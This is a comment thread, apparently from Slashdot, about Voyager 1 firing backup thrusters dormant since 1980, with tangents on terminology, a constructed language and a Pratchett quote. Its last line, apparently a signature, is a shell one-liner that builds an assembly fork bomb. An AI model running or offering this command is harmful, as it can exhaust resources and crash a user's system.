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Voyager 1 Fires Up Thrusters After 37 Years (nasa.gov)
If you tried to start a car that's been sitting in a garage for decades, you might not expect the engine to respond. But a set of thrusters aboard the Voyager 1 spacecraft successfully fired up Wednesday after 37 years without use. NASA announces: Voyager 1, NASA's farthest and fastest spacecraft, is the only human-made object in interstellar space, the environment between the stars. The spacecraft, which has been flying for 40 years, relies on small devices called thrusters to orient itself so it can communicate with Earth. These thrusters fire in tiny pulses, or "puffs," lasting mere milliseconds, to subtly rotate the spacecraft so that its antenna points at our planet. Now, the Voyager team is able to use a set of four backup thrusters, dormant since 1980. "With these thrusters that are still functional after 37 years without use, we will be able to extend the life of the Voyager 1 spacecraft by two to three years," said Suzanne Dodd, project manager for Voyager at NASA's Jet Propulsion Laboratory, Pasadena, California.
That honestly boggles the mind to think of something built so long ago, sitting in the harsh environment of space still able to function that well - not to mention all of the other hardware working well enough to instruct the thrusters to fire. Well done.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
But do his thrusters work after 37 years?
FYI, you can see what each antenna in NASA's Deep Space Network is doing at any given moment by Looking at this site..
Below each antenna is the craft being communicated to. Clicking on the antenna and then "+ more detail" will get you some info about signal strengths, transmission rates, round trip light times, and more.
I don't see one right this moment but it is common to find one of the 70m antennas talking to one of the Voyagers. Right now Goldstone antenna 14 (70m) is talking with New Horizons.
Captcha = acquire
The space between the stars? Show me somewhere that isn't between two stars.
Harvey Weinstein's dick. According to my calculations, it was periodically positioned inside a star at one time or another.
Yeah well that's all well and good until it comes back looking to merge with the creator.
In 1668, John Wilkins attempted to construct a language which works the way you want language to work: everything made sense, everything was systematic, down to the way words were formed. Robert Hooke (of Hooke's Law fame) even wrote a scientific paper in it, describing the operation of a pocket watch. It never caught on, because making everything consistent and sensible also makes things unbearably cumbersome.
People use language to accomplish things, and the construct words to do useful things, not adhere to sensible axioms. "Interstellar space" to describe the space between stars (int itself a vague notion) just isn't a useful concept. However "interstellar space" describing the places outside the heliopauses of star systems is a useful concept.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Fifty fears from now, imagine space aliens come to earth with our satellite, and ask us to play for them what's on the records. We look around, but, embarrassed, can't find a turntable.
left the solar system.
That and a manhole cover.
Have gnu, will travel.
https://www.goodreads.com/quot...
"The reason that the rich were so rich, Vimes reasoned, was because they managed to spend less money.
Take boots, for example. He earned thirty-eight dollars a month plus allowances. A really good pair of leather boots cost fifty dollars. But an affordable pair of boots, which were sort of OK for a season or two and then leaked like hell when the cardboard gave out, cost about ten dollars. Those were the kind of boots Vimes always bought, and wore until the soles were so thin that he could tell where he was in Ankh-Morpork on a foggy night by the feel of the cobbles.
But the thing was that good boots lasted for years and years. A man who could afford fifty dollars had a pair of boots that'd still be keeping his feet dry in ten years' time, while the poor man who could only afford cheap boots would have spent a hundred dollars on boots in the same time and would still have wet feet.
This was the Captain Samuel Vimes 'Boots' theory of socioeconomic unfairness."
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;